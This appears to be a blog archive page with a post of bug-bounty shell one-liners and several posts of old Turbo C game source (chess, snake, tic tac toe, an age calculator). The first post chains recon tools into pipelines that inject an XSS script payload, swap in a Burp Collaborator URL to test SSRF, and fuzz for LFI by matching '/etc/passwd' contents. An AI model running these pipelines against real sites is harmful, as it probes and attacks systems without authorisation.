Posts

Showing posts from March 7, 2021

Bug BOunty Helpful Commands

  cat file.txt | gf xss | grep ‘source=’ | qsreplace ‘”><script>confirm(1)</script>’ | while read host do ; do curl –silent –path-as-is –insecure “$host” | grep -qs “<script>confirm(1)” && echo “$host 33[0;31mVulnerablen”;done >>. to get urls from websites.... waybackurls target.com | tee urlss.txt dalfox file urlss.txt pipe   XSS   cat file.txt | gf xss | grep ‘source=’ | qsreplace ‘”><script>confirm(1)</script>’ | while read host do ; do curl –silent –path-as-is –insecure “$host” | grep -qs “<script>confirm(1)” && echo “$host 33[0;31mVulnerablen”;done SSRF findomain -t example.com -q | httpx -silent -threads 1000 | gau |  grep “=” | qsreplace http://YOUR.burpcollaborator.net LFI Follow this command to find LFI findomain -t example.com -q |  waybackurls |gf lfi | qsreplace FUZZ | while read url ; do ffuf -u $url -mr “root:x” -w ~/wordlist/LFI.txt ; done find JS files on target.com https:/...

PUBG Intro

 

CHESS Game in C

  #include<stdio.h> #include<conio.h> #include<graphics.h> void blk(int,int); void display(); //enum bool{TRUE,FALSE}; /*void main() //MAIN FUNCTION { display(); getch(); } */ void display() //DISPLAY TO SHOW THE BOARD { int gd=DETECT,gm,i,j,l,m,b; char pattern[]={0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF}; int arrodd[32][2]={ {0,0},{100,0},{200,0},{300,0},{50,50},{150,50} ,{250,50},{350,50},{0,100},{100,100},{200,100},{300,100} ,{50,150},{150,150},{250,150},{350,150},{0,200},{100,200} ,{200,200},{300,200},{50,250},{150,250},{250,250},{350,250}, {0,300},{100,300},{200,300},{300,300},{50,350},{150,350}, {250,350},{350,350} }; int arrevn[33][2]={{50,0},{150,0},{250,0},{350,0},{0,50},{100,50},{200,50}, {300,50},{50,100},{150,100},{250,100},{350,100},{0,150}, {100,150},{200,150},{300,150},{50,200},{150,200},{250,200}, {350,200},{0,250},{100,250},{200,250},{300,250},{50,300}, {150,300},{250,300},{350,300},{0,350},{100,350},{200,350}, {300,350}}; clrscr(); initg...

EGG Game in C

  #include"dos.h" #include"graphics.h" #include<stdio.h> #include<conio.h> #include<process.h> #include<dos.h> #include<stdlib.h> #include<iostream.h> union REGS i,o; main() { int initmouse(); int restrictmouseptr(int,int,int,int); int getmousepos(int *,int *,int *); int showmouseptr(); int gd=DETECT,gm,maxx,maxy,x,y,button; initgraph(&gd,&gm,""); int count=0; maxx=getmaxx(); maxy=getmaxy(); setbkcolor(1); setviewport(0,0,maxx,maxy,1); gotoxy(26,1); if(initmouse()==0) { closegraph(); restorecrtmode(); //to go back to normal graphics mode or deleting viewport. printf(" mouse driver not loaded"); exit(1); } restrictmouseptr(0,getmaxy()-20,maxx,getmaxy()-15); int a=30;int b=0; setcolor(0); setfillstyle(1,15); int score=0; count=20; int s=5; int level=0; char name[40]; gotoxy(5,2); cout<<"PLEASE ENTER YOUR SWEET NAME::-"; gets(name); gotoxy(5,2); cout<<...

Age Calculator in C, Find Your Birthday by a Software

Image
  #include<stdio.h> #include<conio.h> #include<stdlib.h> int main() {     int d,d2,m,m2,y,y2,h,m1,s;         system("COLOR A1");            for (int i=0;i<40;i++)           {                  printf("-***-");             printf("-*-");            }             printf("\n\t\t\t****************** AGE- Calculator ******************\n\n");           for(int i=0;i<40;i++)                {                 printf("-***-");                 printf("-*-");                }             printf("\n\t Enter your date of birth :- \n");   ...

Source Code of Tic Tac Toe Game in C

  #include<graphics.h> #include<iostream.h> #include <conio.h> void main() { start: int a[3][3]={5,6,7,8,9,10,11,12,13},i,j,k,x,y,t,cn=0,co=0; char c; static int nod=0,nn=0,sc[2]={0,0}; nod++; clrscr(); int driver=DETECT,mode; initgraph(&driver,&mode,"c:\tc\bgi"); setbkcolor(RED); line(100,200,400,200); line(100,300,400,300); line(200,100,200,400); line(300,100,300,400); gotoxy(20,2); cout<<"TIC TAC TOE"; gotoxy(20,3); cout<<"Unregistered Vesion 1.0"; gotoxy(10,5);cout<<" BOX NO "; gotoxy(15,7);cout<<"0"; gotoxy(30,7);cout<<"1"; gotoxy(45,7);cout<<"2"; gotoxy(15,14);cout<<"3"; gotoxy(30,14);cout<<"4"; gotoxy(45,14);cout<<"5"; gotoxy(15,21);cout<<"6"; gotoxy(30,21);cout<<"7"; gotoxy(45,21);cout<<"8"; gotoxy(55,22);cout<<"RESULT"; gotoxy(55,23);cou...

Snake Game Development in C

 #include <graphics.h> #include <stdio.h> #include <stdlib.h> #define  T 2000 int n=0,px,py; main() {     int gd=DETECT,gm,i,j;     clrscr();     gotoxy(25,4);     printf("DON'T TUCH THE BORDER");     gotoxy(25,6);     printf("Press < p > for pause");     gotoxy(17,8);     printf("IN MIDDLE OF GAME, PRESS < Esc > TO EXIT");     x:     gotoxy(26,10);     printf("press < s > to start ");     gotoxy(26,12);     printf(" Use SMALL case only");     gotoxy(34,10);     if(getch()=='s')       initgraph(&gd,&gm,"c:\tc\bgi");     else {   clrscr();   goto x; }     line(0,0,0,479);     line(0,0,639,0);     line(639,0,639,479);     line(0,479,639,479);     pause();     print();     right(...

Popular posts from this blog

Very Huge Dorks for SQLi || Web Hacking

How to find index of the Array in C